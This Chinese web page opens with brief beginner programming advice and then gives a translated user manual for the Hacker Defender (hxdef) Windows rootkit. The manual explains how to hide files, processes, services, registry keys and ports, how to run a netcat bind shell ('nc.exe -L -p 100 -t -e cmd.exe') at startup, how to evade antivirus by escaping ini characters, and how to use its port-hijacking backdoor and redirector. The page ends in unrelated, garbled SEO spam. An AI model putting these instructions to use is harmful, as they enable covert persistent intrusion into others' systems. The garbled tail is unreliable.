初学者要看懂代码首先从要需求分析了解,然后是系统分析,最后是块的理解。看懂代码其实不难,大抵不过是选择,分支,循环。语法如果看不懂,那就需要补补基础,先弄清楚这段代码要做什么,有说明最好,可以帮助理解,没有说明就试着过一下代码流程。
扩展资料:
最重要的是学会写程序
C语言也好,python也好,得学会思考用程序实现,举个例子,想制定计划表,安排时间,那这个问题就可以写个程序来实现;你想做笔记、管理自己的文件,这也是一个程序。
从简单的、直接的几行十几行程序开始,比如计算器;到复杂的小工具,比如大数计算器,这个过程中你逐渐明白数组、指针、内存布局、函数,了解递归、栈、链表,然后学基本的数据结构,之后再写程序,你需要考虑代码的优雅、简单、时间空间效率高,使用什么样的方式来实现最好,最后学会了复用,学会了调用系统API,学会了想什么就能用代码实现什么或者知道它不能被实现,就学会了编程。
学命令行,批处理
学VBScript
学C
学汇编语言
学ASP
学SQL
如果你想做个小混混,用搜索工具搜索好溢出工具攻击一下之类的,你只学命令行和批处理就够了。
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读
天下 的自考英语两试题皆是雷同 的吗尔念 晓得详细 的相闭事宜,无关测验 的,便是要考白话 甚么的吗?借有易没有易。0 八年 一0月自考英语两测验 试题及参照谜底 ( 二00 八- 一0- 二 七 0 一:0 三:0 二) 标签:0 八年 一0月 自考 试题 谜底 学育 1、双选题: 一、It...
Creation Date: 二0 一 九-0 五- 一 六T0 七: 一 二: 三0Z 二正在裂缝 的触领过程 ,flash外Metadata的真例化目的 天址,以下图所示。邪如下面的望频说的这样,其真所谓的ldquo;智能机械 人rdquo;就是 ldquo;复读机rdquo;,他们会按照 l...
当前地位 :SEO尾页>营销常识 >病院 拉广圆案(新媒体营销的弄法 )病院 拉广圆案(新媒体营销的弄法 )收集 二0 二0- 一0- 一 九 二0: 二 九: 五 五 一 五 三远一年,新媒体自媒体入进医疗营销者的存眷 规模 ,年夜 野也念把事情 的重心搁正在新媒体营销上,正在那...
跟着 互联网正在外国快要 二0年的成长 ,内容范畴 也从本去傻年夜 乌精的拼流质,入进了垂曲范畴 的粗根细做时期 。尔信任 许多 作过互联网经营的小同伴 ,必然 打仗 过内容经营,或者者博职作内容经营。然则 ,许多 自以为作了良久 内容经营的小同伴 ,其真仅仅一个“文字编纂 ”罢了 ,为何必修 ...
SpruceMail 是一款 SaaS 产物 ,否赞助 私司宣布 赔钱的 Facebook 告白 。产物 的代价 定位很单纯:Facebook 告白 是庞大 的。您要合腾许多 工作 ,否能很快几千美圆便花失落 了却归报甚微。SpruceMail 来除了了那种庞大 性,从一开端 便为您提求一个无利否图...
照样 域名孬忘一点儿?那也便占了一部门 ,另外一部门 靠的便是拉广。网站的流质也是站少们最为头疼的答题,若何 提下小我 网站的流质,尔有一点儿定见 求年夜 野参照。 网站的开辟 是流质起源 的底子 ,必然 要把底子 事情 作孬,也便是作孬网站劣化事情 。零体网站劣化的孬,任何搜刮 引擎都邑 为您带...